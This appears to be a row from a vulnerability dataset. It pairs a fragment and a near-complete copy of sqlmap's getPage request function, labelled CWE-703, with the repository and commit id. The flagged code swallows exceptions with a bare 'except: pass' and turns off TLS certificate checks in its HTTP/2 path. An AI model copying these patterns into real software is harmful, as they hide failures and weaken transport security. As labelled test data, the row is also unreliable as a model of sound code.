                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,c0ad1092cb7e9c9649d94019c5ce8291690314bb,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        start = time.time()

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                if conf.http2:
                    try:
                        import httpx
                    except ImportError:
                        raise SqlmapMissingDependence(""httpx[http2] not available (e.g. 'pip%s install httpx[http2]')"" % ('3' if six.PY3 else """"))

                    try:
                        proxy_mounts = dict((""%s://"" % key, httpx.HTTPTransport(proxy=""%s%s"" % (""http://"" if not ""://"" in kb.proxies[key] else """", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
                        with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
                            conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
                    except httpx.ConnectError as ex:
                        raise _http_client.HTTPException(getSafeExString(ex))
                    else:
                        conn.code = conn.status_code
                        conn.msg = conn.reason_phrase
                        conn.info = lambda c=conn: c.headers

                        conn._read_buffer = conn.read()
                        conn._read_offset = 0

                        requestMsg = re.sub("" HTTP/[0-9.]+\r\n"", "" %s\r\n"" % conn.http_version, requestMsg, count=1)

                        if not multipart:
                            threadData.lastRequestMsg = requestMsg

                            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                        def _read(count=None):
                            offset = conn._read_offset
                            if count is None:
                                result = conn._read_buffer[offset:]
                                conn._read_offset = len(conn._read_buffer)
                            else:
                                result = conn._read_buffer[offset: offset + count]
                                conn._read_offset += len(result)
                            return result

                        conn.read = _read
                else:
                    if not multipart:
                        threadData.lastRequestMsg = requestMsg

                        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                    conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn, ""fp"") and hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
